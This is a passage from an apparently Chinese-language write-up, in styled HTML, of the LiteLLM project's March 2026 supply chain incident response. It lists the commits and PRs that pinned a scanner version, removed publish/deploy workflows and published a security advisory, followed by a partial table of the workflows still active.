WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">时间</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">事件</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">提交/PR</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-25 00:15:44 UTC</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">提交 f9d1f8c</span></strong><p><span leaf="">: &#34;minor updates to security update blog post&#34;</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">f9d1f8c</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ishaan-jaff</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-25 00:34:51 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">提交 e92edee</span></strong><p><span leaf="">: &#34;Merge branch &#39;main&#39; into worktree...&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">e92edee</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ishaan-berri</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-25 00:35:01 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-f1324w" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24540</a></span></strong><p><span leaf="">: &#34;docs: minor updates to security update blog post&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ishaan-berri</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-25 00:59:07 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">提交 3d5b1ec</span></strong><p><span leaf="">: &#34;ci: remove publish-migrations and reset_stable workflows&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">3d5b1ec</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ishaan-jaff</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-25 01:03:04 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">提交 3e8a6f2</span></strong><p><span leaf="">: &#34;ci: remove all publish/deploy workflows as part of supply chain incident response&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">3e8a6f2</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ishaan-jaff</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-25 01:53:33 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-4wawvv" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24541</a></span></strong><p><span leaf="">: &#34;ci: remove publish-migrations and reset_stable workflows&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ishaan-berri</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-25 02:43:13 UTC</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">提交 10a48f7</span></strong><p><span leaf="">: &#34;docs: add tldr&#34;</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">10a48f7</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr></tbody></table><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="65" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">关键操作记录</span></h2><h3 data-line="67" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. 攻击入口修复</span></h3><p data-line="69" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-s3g7sx" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24525</a></span></strong><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fix(security_scans.sh): pin trivvy version</span></code></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">创建时间</span></strong><p><span leaf="">: 2026-03-24 16:13:58 UTC</span></p></li><li><strong><span leaf="">合并时间</span></strong><p><span leaf="">: 2026-03-24 16:15:35 UTC (仅 1 分 37 秒)</span></p></li><li><strong><span leaf="">作者</span></strong><p><span leaf="">: krrish-berri-2</span></p></li><li><strong><span leaf="">目的</span></strong><p><span leaf="">: 固定 trivvy 版本，防止攻击者通过该依赖再次获得发布权限</span></p></li></ul><h3 data-line="75" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. 发布工作流清理</span></h3><p data-line="77" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-gay6ap" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24541</a></span></strong><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ci: remove publish-migrations and reset_stable workflows</span></code></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">创建时间</span></strong><p><span leaf="">: 2026-03-25 00:59:19 UTC</span></p></li><li><strong><span leaf="">合并时间</span></strong><p><span leaf="">: 2026-03-25 01:53:33 UTC</span></p></li><li><strong><span leaf="">作者</span></strong><p><span leaf="">: ishaan-berri</span></p></li><li><strong><span leaf="">目的</span></strong><p><span leaf="">: 移除所有发布/部署工作流，防止在完成安全扫描前再次发布</span></p></li></ul><p data-line="83" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">关键提交</span></strong><span leaf="">:</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">3e8a6f2</span></code><p><span leaf="">: &#34;ci: remove all publish/deploy workflows as part of supply chain incident response&#34;</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">3d5b1ec</span></code><p><span leaf="">: &#34;ci: remove publish-migrations and reset_stable workflows&#34;</span></p></li></ul><h3 data-line="87" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3. 安全公告发布</span></h3><p data-line="89" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">PR <a class="wx_topic_link" topic-id="mn63vx41-rjivy2" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24537</a></span></strong><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">docs: add security update blog post for March 2026 supply chain incident</span></code></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">创建时间</span></strong><p><span leaf="">: 2026-03-24 23:02:46 UTC</span></p></li><li><strong><span leaf="">合并时间</span></strong><p><span leaf="">: 2026-03-24 23:07:45 UTC (仅 4 分 59 秒)</span></p></li><li><strong><span leaf="">作者</span></strong><p><span leaf="">: ryan-crabbe-berri</span></p></li><li><strong><span leaf="">目的</span></strong><p><span leaf="">: 发布官方安全公告</span></p></li></ul><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="97" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">GitHub Actions 工作流状态</span></h2><h3 data-line="99" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当前活跃的工作流 (2026-03-25)</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">工作流名称</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">状态</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">pages-build-deployment</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">文档部署</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Read Version from pyproject.toml</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">版本读取</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">CodeQL</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">代码安全扫描</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Build and Publish Docker Image</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Docker 镜像构建</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">LiteLLM Unit Tests (Matrix)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">单元测试</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">LiteLLM Linting</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">代码检查</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">UI Build Check</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ active</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: 